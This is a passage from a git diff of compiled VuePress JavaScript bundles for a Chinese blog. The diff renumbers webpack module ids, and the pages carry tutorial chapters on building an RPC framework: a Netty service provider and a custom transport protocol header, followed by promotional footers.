"),t("strong",[s._v("星球")]),s._v(" 扫二维码加入星球。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")]),s._v(" "),t("h2",{attrs:{id:"加群交流"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#加群交流"}},[s._v("#")]),s._v(" 加群交流")]),s._v(" "),t("p",[s._v("本群的宗旨是给大家提供一个良好的技术学习交流平台,所以杜绝一切广告!由于微信群人满 100 之后无法加入,请扫描下方二维码先添加作者 “冰河” 微信(hacker_binghe),备注:"),t("code",[s._v("学习加群")]),s._v("。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://binghe001.github.io/images/personal/hacker_binghe.jpg?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("冰河微信")]),s._v(" "),t("br")]),s._v(" "),t("h2",{attrs:{id:"公众号"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#公众号"}},[s._v("#")]),s._v(" 公众号")]),s._v(" "),t("p",[s._v("分享各种编程语言、开发技术、分布式与微服务架构、分布式数据库、分布式事务、云原生、大数据与云计算技术和渗透技术。另外,还会分享各种面试题和面试技巧。内容在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号首发,强烈建议大家关注。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("公众号:冰河技术")]),s._v(" "),t("br")]),s._v(" "),t("h2",{attrs:{id:"星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球"}},[s._v("#")]),s._v(" 星球")]),s._v(" "),t("p",[s._v("加入星球 "),t("strong",[t("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),t("OutboundLink")],1)]),s._v(",可以获得本站点所有学习内容的指导与帮助。如果你遇到不能独立解决的问题,也可以添加冰河的微信:"),t("strong",[s._v("hacker_binghe")]),s._v(", 我们一起沟通交流。另外,在星球中不只能学到实用的硬核技术,还能学习"),t("strong",[s._v("实战项目")]),s._v("!")]),s._v(" "),t("p",[s._v("关注 "),t("a",{attrs:{href:"https://img-blog.csdnimg.cn/20210426115714643.jpg?raw=true",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),t("OutboundLink")],1),s._v("公众号,回复 "),t("code",[s._v("星球")]),s._v(" 可以获取入场优惠券。")]),s._v(" "),t("div",{attrs:{align:"center"}},[t("img",{attrs:{src:"https://binghe001.github.io/images/personal/xingqiu.png?raw=true",width:"180px"}}),s._v(" "),t("div",{staticStyle:{"font-size":"9px"}},[s._v("知识星球:冰河技术")]),s._v(" "),t("br")])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-349.js b/assets/js/cg-349.js index 336ab5f5230af1599acc06913d9f4020273ad50e..37171310f78889b7b935d99125b9d8785a9060fc 100644 --- a/assets/js/cg-349.js +++ b/assets/js/cg-349.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[349],{639:function(r,e,t){"use strict";t.r(e);var v=t(7),a=Object(v.a)({},(function(){var r=this,e=r._self._c;return e("ContentSlotsDistributor",{attrs:{"slot-key":r.$parent.slotKey}},[e("h1",{attrs:{id:"《rpc手撸专栏》第5章-服务提供者收发消息基础功能实现"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第5章-服务提供者收发消息基础功能实现"}},[r._v("#")]),r._v(" 《RPC手撸专栏》第5章:服务提供者收发消息基础功能实现")]),r._v(" "),e("p",[r._v("作者:冰河\n"),e("br"),r._v("星球:"),e("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("http://m6z.cn/6aeFbs"),e("OutboundLink")],1),r._v(" "),e("br"),r._v("博客:"),e("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[r._v("https://binghe001.github.io"),e("OutboundLink")],1)]),r._v(" "),e("blockquote",[e("p",[r._v("沉淀,成长,突破,帮助他人,成就自我。")])]),r._v(" "),e("p",[e("strong",[r._v("大家好,我是冰河~~")])]),r._v(" "),e("p",[r._v("最近由于各种乱七八糟的事项,《RPC手撸专栏》耽搁了很久,让小伙伴们久等了。今天,我们开始更新《RPC手撸专栏》的第5章,今天带着大家一起实现服务提供者收发消息的基础功能。")]),r._v(" "),e("h2",{attrs:{id:"一、前言"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[r._v("#")]),r._v(" 一、前言")]),r._v(" "),e("p",[e("code",[r._v("服务提供者作为提供服务的一方,不支持收发消息怎么行?")])]),r._v(" "),e("p",[r._v("说到底,无论RPC框架多么复杂,归根结底,一个较为完毕的RPC框架由服务提供者、服务消费者、注册中心和监控中心组成。服务提供者启动后需要监听固定的域名/主机名/IP和端口,并且服务提供者作为一个基础服务,需要接收服务消费者发送过来的消息,后续对消息进行转发,调用目标方法后,向服务消费者响应结果数据。所以,服务提供者需要具备消息的首发功能,并且这是服务提供者应该具备的最基础的功能。")]),r._v(" "),e("p",[r._v("可以将服务提供者想象成是一个对外提供服务的服务端,而服务消费者就是调用服务提供者的客户端,二者之间的通信是通过网络进行的。")]),r._v(" "),e("p",[r._v("大家可以思考下,服务提供者还需要具备哪些功能呢?")]),r._v(" "),e("h2",{attrs:{id:"二、目标"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[r._v("#")]),r._v(" 二、目标")]),r._v(" "),e("p",[r._v("在前面的章节中,我们设计了RPC框架的核心注解,并且实现了RPC服务核心注解的扫描与解析功能。这样的话,在我们实现的RPC框架中,就能实现哪怕不集成Spring,也能够通过扫描注解的方式发布服务提供者的服务。")]),r._v(" "),e("p",[r._v("其实,可以细细的想一下,Spring提供的IOC功能能够简化程序的开发,核心点就在于通过扫描Java包下的类,找到特定注解标注的类,将其实例化后放入IOC容器中。这种方式我们仔细思考下,也能够自己动手实现。所以,在前面的章节中,我们就自己实现了扫描Java包下的类,并且将需要的类进行实例化,放到了一个Map集合中,以供后续使用。")]),r._v(" "),e("p",[r._v("接下来,我们需要顺着之前的思路,完成服务提供者解析@RpcService注解、收发消息、响应结果的目标。")]),r._v(" "),e("h2",{attrs:{id:"三、设计"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[r._v("#")]),r._v(" 三、设计")]),r._v(" "),e("p",[e("code",[r._v("你可以想象一下,如果是让你设计实现服务提供者收发消息的基础功能,你会怎么实现呢?")])]),r._v(" "),e("p",[r._v("在实现目标中,已经明确给出了要完成服务提供者解析@RpcService注解、收发消息、响应结果的目标。这是本章要实现的重点,但是作为服务提供者,一定要启动后才能与服务消费者进行通信,所以,上述目标是服务提供者需要启动后才能实现的。综上,我们可以得出本章大体要实现的功能流程,如图5-1所示。")]),r._v(" "),e("p",[e("img",{staticClass:"lazy",attrs:{alt:"图5-1 RPC框架服务提供者实现消息收发功能大体流程图","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-28-001.png",loading:"lazy"}})]),r._v(" "),e("p",[r._v("由图5-1可以看出:")]),r._v(" "),e("ul",[e("li",[r._v("服务提供者可以接收系统终端发送过来的数据,并且也可以向系统终端响应数据。")]),r._v(" "),e("li",[r._v("服务体提供者启动后需要监听IP和端口,并且启动时能够解析@RpcService注解,启动后能够收发消息,并且响应结果")]),r._v(" "),e("li",[r._v("由于本章还未实现服务消费者,目前我们可以通过系统终端来模拟服务消费者,向服务提供者发送数据,并且接收服务消费者响应过来的数据。")])]),r._v(" "),e("h2",{attrs:{id:"四、实现"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[r._v("#")]),r._v(" 四、实现")]),r._v(" "),e("h3",{attrs:{id:"_1-工程结构"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[r._v("#")]),r._v(" 1.工程结构")]),r._v(" "),e("ul",[e("li",[r._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),r._v(" "),e("li",[r._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),r._v(" "),e("li",[r._v("bhrpc-provider:服务提供者父工程。\n"),e("ul",[e("li",[r._v("bhrpc-provider-common:服务提供者通用工程。")]),r._v(" "),e("li",[r._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),r._v(" "),e("li",[r._v("bhrpc-test:测试bhrpc框架的父工程。\n"),e("ul",[e("li",[r._v("bhrpc-test-provider:测试服务提供者的工程。")]),r._v(" "),e("li",[r._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),r._v(" "),e("p",[e("strong",[r._v("工程源码:")]),r._v(" 关注冰 "),e("strong",[r._v("冰河技术")]),r._v(" 微信公众号,回复 "),e("code",[r._v("bhrpc")]),r._v(", 获取代码链接地址。")]),r._v(" "),e("h3",{attrs:{id:"_2-核心实现类关系"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[r._v("#")]),r._v(" 2.核心实现类关系")]),r._v(" "),e("p",[r._v("核心实现类关系如图5-2所示。")]),r._v(" "),e("p",[e("img",{staticClass:"lazy",attrs:{alt:"图5-2 实现类核心关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-28-002.png",loading:"lazy"}})]),r._v(" "),e("p",[r._v("由图5-2可以看出:")]),r._v(" "),e("ul",[e("li",[r._v("程序中定义了一个接口Server,在Server中定义了一个抽象方法startNettyServer()。")]),r._v(" "),e("li",[r._v("BaseServer类作为最基础的服务类,会直接实现Server接口,并实现Server接口中定义的startNettyServer()方法,同时,在BaseServer类中分别定义了host、port和handlerMap三个protected类型的成员变量,在构造方法BaseServer(String serverAddress)中为host和port赋值。")]),r._v(" "),e("li",[r._v("在BaseServer的startNettyServer()的方法实现中,会依赖RpcProviderHandler类,并实例化RpcProviderHandler类对象,RpcProviderHandler类对象作为服务提供者最终接收消息,处理消息,响应消息的类。")]),r._v(" "),e("li",[r._v("RpcSingleServer类作为使用纯Java启动bhrpc框架的实现类,继承了BaseServer类。在RpcSingleServer本身的类中,只有一个RpcSingleServer(String serverAddress, String scanPackage)构造方法,其他方法都是继承自BaseServer类。")])]),r._v(" "),e("h2",{attrs:{id:"查看完整文章"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[r._v("#")]),r._v(" 查看完整文章")]),r._v(" "),e("p",[r._v("加入"),e("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("冰河技术"),e("OutboundLink")],1),r._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);e.default=a.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[349],{638:function(r,e,t){"use strict";t.r(e);var v=t(7),a=Object(v.a)({},(function(){var r=this,e=r._self._c;return e("ContentSlotsDistributor",{attrs:{"slot-key":r.$parent.slotKey}},[e("h1",{attrs:{id:"《rpc手撸专栏》第5章-服务提供者收发消息基础功能实现"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第5章-服务提供者收发消息基础功能实现"}},[r._v("#")]),r._v(" 《RPC手撸专栏》第5章:服务提供者收发消息基础功能实现")]),r._v(" "),e("p",[r._v("作者:冰河\n"),e("br"),r._v("星球:"),e("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("http://m6z.cn/6aeFbs"),e("OutboundLink")],1),r._v(" "),e("br"),r._v("博客:"),e("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[r._v("https://binghe001.github.io"),e("OutboundLink")],1)]),r._v(" "),e("blockquote",[e("p",[r._v("沉淀,成长,突破,帮助他人,成就自我。")])]),r._v(" "),e("p",[e("strong",[r._v("大家好,我是冰河~~")])]),r._v(" "),e("p",[r._v("最近由于各种乱七八糟的事项,《RPC手撸专栏》耽搁了很久,让小伙伴们久等了。今天,我们开始更新《RPC手撸专栏》的第5章,今天带着大家一起实现服务提供者收发消息的基础功能。")]),r._v(" "),e("h2",{attrs:{id:"一、前言"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[r._v("#")]),r._v(" 一、前言")]),r._v(" "),e("p",[e("code",[r._v("服务提供者作为提供服务的一方,不支持收发消息怎么行?")])]),r._v(" "),e("p",[r._v("说到底,无论RPC框架多么复杂,归根结底,一个较为完毕的RPC框架由服务提供者、服务消费者、注册中心和监控中心组成。服务提供者启动后需要监听固定的域名/主机名/IP和端口,并且服务提供者作为一个基础服务,需要接收服务消费者发送过来的消息,后续对消息进行转发,调用目标方法后,向服务消费者响应结果数据。所以,服务提供者需要具备消息的首发功能,并且这是服务提供者应该具备的最基础的功能。")]),r._v(" "),e("p",[r._v("可以将服务提供者想象成是一个对外提供服务的服务端,而服务消费者就是调用服务提供者的客户端,二者之间的通信是通过网络进行的。")]),r._v(" "),e("p",[r._v("大家可以思考下,服务提供者还需要具备哪些功能呢?")]),r._v(" "),e("h2",{attrs:{id:"二、目标"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[r._v("#")]),r._v(" 二、目标")]),r._v(" "),e("p",[r._v("在前面的章节中,我们设计了RPC框架的核心注解,并且实现了RPC服务核心注解的扫描与解析功能。这样的话,在我们实现的RPC框架中,就能实现哪怕不集成Spring,也能够通过扫描注解的方式发布服务提供者的服务。")]),r._v(" "),e("p",[r._v("其实,可以细细的想一下,Spring提供的IOC功能能够简化程序的开发,核心点就在于通过扫描Java包下的类,找到特定注解标注的类,将其实例化后放入IOC容器中。这种方式我们仔细思考下,也能够自己动手实现。所以,在前面的章节中,我们就自己实现了扫描Java包下的类,并且将需要的类进行实例化,放到了一个Map集合中,以供后续使用。")]),r._v(" "),e("p",[r._v("接下来,我们需要顺着之前的思路,完成服务提供者解析@RpcService注解、收发消息、响应结果的目标。")]),r._v(" "),e("h2",{attrs:{id:"三、设计"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[r._v("#")]),r._v(" 三、设计")]),r._v(" "),e("p",[e("code",[r._v("你可以想象一下,如果是让你设计实现服务提供者收发消息的基础功能,你会怎么实现呢?")])]),r._v(" "),e("p",[r._v("在实现目标中,已经明确给出了要完成服务提供者解析@RpcService注解、收发消息、响应结果的目标。这是本章要实现的重点,但是作为服务提供者,一定要启动后才能与服务消费者进行通信,所以,上述目标是服务提供者需要启动后才能实现的。综上,我们可以得出本章大体要实现的功能流程,如图5-1所示。")]),r._v(" "),e("p",[e("img",{staticClass:"lazy",attrs:{alt:"图5-1 RPC框架服务提供者实现消息收发功能大体流程图","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-28-001.png",loading:"lazy"}})]),r._v(" "),e("p",[r._v("由图5-1可以看出:")]),r._v(" "),e("ul",[e("li",[r._v("服务提供者可以接收系统终端发送过来的数据,并且也可以向系统终端响应数据。")]),r._v(" "),e("li",[r._v("服务体提供者启动后需要监听IP和端口,并且启动时能够解析@RpcService注解,启动后能够收发消息,并且响应结果")]),r._v(" "),e("li",[r._v("由于本章还未实现服务消费者,目前我们可以通过系统终端来模拟服务消费者,向服务提供者发送数据,并且接收服务消费者响应过来的数据。")])]),r._v(" "),e("h2",{attrs:{id:"四、实现"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[r._v("#")]),r._v(" 四、实现")]),r._v(" "),e("h3",{attrs:{id:"_1-工程结构"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[r._v("#")]),r._v(" 1.工程结构")]),r._v(" "),e("ul",[e("li",[r._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),r._v(" "),e("li",[r._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),r._v(" "),e("li",[r._v("bhrpc-provider:服务提供者父工程。\n"),e("ul",[e("li",[r._v("bhrpc-provider-common:服务提供者通用工程。")]),r._v(" "),e("li",[r._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),r._v(" "),e("li",[r._v("bhrpc-test:测试bhrpc框架的父工程。\n"),e("ul",[e("li",[r._v("bhrpc-test-provider:测试服务提供者的工程。")]),r._v(" "),e("li",[r._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),r._v(" "),e("p",[e("strong",[r._v("工程源码:")]),r._v(" 关注冰 "),e("strong",[r._v("冰河技术")]),r._v(" 微信公众号,回复 "),e("code",[r._v("bhrpc")]),r._v(", 获取代码链接地址。")]),r._v(" "),e("h3",{attrs:{id:"_2-核心实现类关系"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[r._v("#")]),r._v(" 2.核心实现类关系")]),r._v(" "),e("p",[r._v("核心实现类关系如图5-2所示。")]),r._v(" "),e("p",[e("img",{staticClass:"lazy",attrs:{alt:"图5-2 实现类核心关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-28-002.png",loading:"lazy"}})]),r._v(" "),e("p",[r._v("由图5-2可以看出:")]),r._v(" "),e("ul",[e("li",[r._v("程序中定义了一个接口Server,在Server中定义了一个抽象方法startNettyServer()。")]),r._v(" "),e("li",[r._v("BaseServer类作为最基础的服务类,会直接实现Server接口,并实现Server接口中定义的startNettyServer()方法,同时,在BaseServer类中分别定义了host、port和handlerMap三个protected类型的成员变量,在构造方法BaseServer(String serverAddress)中为host和port赋值。")]),r._v(" "),e("li",[r._v("在BaseServer的startNettyServer()的方法实现中,会依赖RpcProviderHandler类,并实例化RpcProviderHandler类对象,RpcProviderHandler类对象作为服务提供者最终接收消息,处理消息,响应消息的类。")]),r._v(" "),e("li",[r._v("RpcSingleServer类作为使用纯Java启动bhrpc框架的实现类,继承了BaseServer类。在RpcSingleServer本身的类中,只有一个RpcSingleServer(String serverAddress, String scanPackage)构造方法,其他方法都是继承自BaseServer类。")])]),r._v(" "),e("h2",{attrs:{id:"查看完整文章"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[r._v("#")]),r._v(" 查看完整文章")]),r._v(" "),e("p",[r._v("加入"),e("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[r._v("冰河技术"),e("OutboundLink")],1),r._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);e.default=a.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-350.js b/assets/js/cg-350.js index 2c4c4ede607614437d8d519bd1f72cd7c36f3dfb..3784d81852e287691abb4b5acaf77d2c8a228c19 100644 --- a/assets/js/cg-350.js +++ b/assets/js/cg-350.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[350],{640:function(t,a,r){"use strict";r.r(a);var _=r(7),v=Object(_.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"《rpc手撸专栏》第6章-自定义网络传输协议的实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第6章-自定义网络传输协议的实现"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第6章:自定义网络传输协议的实现")]),t._v(" "),a("p",[t._v("作者:冰河\n"),a("br"),t._v("星球:"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),a("OutboundLink")],1),t._v(" "),a("br"),t._v("博客:"),a("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),a("OutboundLink")],1)]),t._v(" "),a("blockquote",[a("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("p",[t._v("RPC框架作为分布式系统底层通信的基础设施框架,远程过程通信没有网络传输协议怎么行?")]),t._v(" "),a("h2",{attrs:{id:"一、前言"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),a("p",[a("code",[t._v("RPC框架要如何才能轻松拿捏自定义网络协议?")])]),t._v(" "),a("p",[t._v("RPC作为分布式系统底层通信的基础设施框架,最主要的功能就是进行远程过程调用,这种调用方式不用想,肯定会涉及到网络传输。通常情况中,只要是涉及到数据在网络过程中传输,都是要通过某种协议进行的。例如HTTP协议、TPC协议、UDP协议这种。")]),t._v(" "),a("p",[t._v("数据由发送方发送到接收方之前,会通过某种协议将其编码成二进制流,通过网络将二进制流传输到接收方后,会根据协议将其解码成对应的数据。当接收方处理完数据返回结果前,也需要先通过协议将返回的数据编码成二进制流,通过网络传输到发送方后,根据协议将二进制数据解码成对应的数据。整个过程如图6-1所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-1 数据在发送方与接收方之间的传输过程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图6-1可以看出,网络协议在整个网络通信过程中是至关重要的,是数据进行编解码的依据。")]),t._v(" "),a("p",[t._v("说的直白点,就好比两个打电话的人,比如张三给李四打电话,三张好比是数据的发送方,李四好比是数据的接收方。张三给李四打电话,李四接通电话后,二者就建立了连接。张三与李四通话的过程中,不管是三张说话还是李四说话,说话的语音信息在网络中传输之前,都会先将语音信息根据通话协议编码成二进制流,传输到对方后,再根据通话协议将二进制流解码成语音信息。如图6-2所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-2 张三与李四的通话过程","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-002.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,数据在网络传输的过程中是需要通过某种协议进行编码和解码的。")]),t._v(" "),a("h2",{attrs:{id:"二、目标"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),a("p",[a("code",[t._v("bhrpc框架的数据交互需要实现自定义网络传输协议,这个目标如何实现?")])]),t._v(" "),a("p",[t._v("在前面的章节中,我们实现了bhrpc框架服务提供者收发消息的基础功能,使用了Netty自带的编码器StringEncoder和Netty自带的解码器StringDecoder。也就是在之前的章节中,系统终端和服务提供者之间传输数据时使用的是Netty自带的封装好的协议。但是,Netty本身封装好的协议对于实现RPC框架来说,无论是协议的定制化方面,还是后期对于性能调优方面,都会是一个性能瓶颈点。")]),t._v(" "),a("p",[t._v("所以,在实现bhrpc框架的过程中,需要我们自己实现自定义的网络传输协议,在自定义的网络传输协议的实现中,我们可以加入一些框架中特有的信息、也可以根据具体需要自定义网络传输协议的格式、长度等信息,甚至可以在自定义的网络传输协议中根据具体需要添加一些预留字段,以方便后期扩展。")]),t._v(" "),a("p",[t._v("说干就干,接下来,我们就一起设计和实现自定义的网络传输协议。")]),t._v(" "),a("h2",{attrs:{id:"三、设计"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),a("p",[a("code",[t._v("如果是让你设计网络传输协议,你会怎么设计呢?")])]),t._v(" "),a("p",[t._v("一般情况下,网络传输协议的设计可以包含消息头和消息体两部分,如图6-3所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-3 通用网络传输协议结构","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-003.png",loading:"lazy"}})]),t._v(" "),a("ul",[a("li",[t._v("一个完整的网络传输协议可以分为消息头和消息体。")]),t._v(" "),a("li",[t._v("消息头中主要存放的是一些对应整个消息的定义信息,比如协议的类型、状态、消息id、消息的长度等等信息。")]),t._v(" "),a("li",[t._v("消息体中主要存放的就是具体的传输数据。")])]),t._v(" "),a("p",[t._v("我们可以按照这个网络传输协议的通用逻辑来设计自定义网络传输协议,同样,bhrpc框架的网络传输协议也会分为消息头和消息体两部分,并且会根据具体的需要,暂时将消息头部分的长度定义为32字节,具体如图6-4所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-4 自定义协议的实现","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-004.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("可以看到,在自定义的网络传输协议中,也会将整个协议分为消息头和消息体两部分。")]),t._v(" "),a("ul",[a("li",[t._v("消息头总共32字节,会分为魔数、报文类型、状态、消息ID、序列化类型和数据长度。")]),t._v(" "),a("li",[t._v("消息体就是要传输的具体数据。")])]),t._v(" "),a("p",[t._v("其中,消息头中的各个字段含义如下:")]),t._v(" "),a("ul",[a("li",[t._v("魔数:验证自定义网络传输协议的最基本的校验信息,占据2字节空间。")]),t._v(" "),a("li",[t._v("报文类型:消息的类型,可以分为请求消息、响应消息和心跳消息,占据1字节空间。")]),t._v(" "),a("li",[t._v("状态:消息的状态,占据1字节空间。")]),t._v(" "),a("li",[t._v("消息ID:消息的唯一标识,占据8字节空间。")]),t._v(" "),a("li",[t._v("序列化类型:数据进行序列化和反序列化的类型标识,暂定16字节空间。")]),t._v(" "),a("li",[t._v("数据长度:标识消息体的数据长度,占据4字节空间。")])]),t._v(" "),a("h2",{attrs:{id:"四、实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),a("p",[a("code",[t._v("说了这么多,自定义网络协议该怎么实现呢?")])]),t._v(" "),a("h3",{attrs:{id:"_1-工程结构"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),a("ul",[a("li",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")]),t._v(" "),a("li",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")]),t._v(" "),a("li",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")]),t._v(" "),a("li",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")]),t._v(" "),a("li",[t._v("bhrpc-provider:服务提供者父工程。\n"),a("ul",[a("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),a("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),a("li",[t._v("bhrpc-test:测试bhrpc框架的父工程。\n"),a("ul",[a("li",[t._v("bhrpc-test-provider:测试服务提供者的工程。")]),t._v(" "),a("li",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])]),t._v(" "),a("p",[a("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),a("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),a("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),a("h3",{attrs:{id:"_2-核心实现类关系"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心实现类关系"}},[t._v("#")]),t._v(" 2.核心实现类关系")]),t._v(" "),a("p",[t._v("核心实现类的关系如图6-5所示。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"图6-5 核心实现类的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-09-30-005.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("由图6-5可以看出,自定义网络传输协议主要由7个类组成,分别是RpcType、RpcMessage、RpcRequest、RpcResponse、RpcHeader、RpcHeaderFactory和RpcProtocol。")]),t._v(" "),a("h2",{attrs:{id:"查看完整文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),a("p",[t._v("加入"),a("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);a.default=v.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[350],{639:function(t,a,r){"use strict";r.r(a);var _=r(7),v=Object(_.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"《rpc手撸专栏》第6章-自定义网络传输协议的实现"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第6章-自定义网络传输协议的实现"}},[t._v("#")]),t._v(" 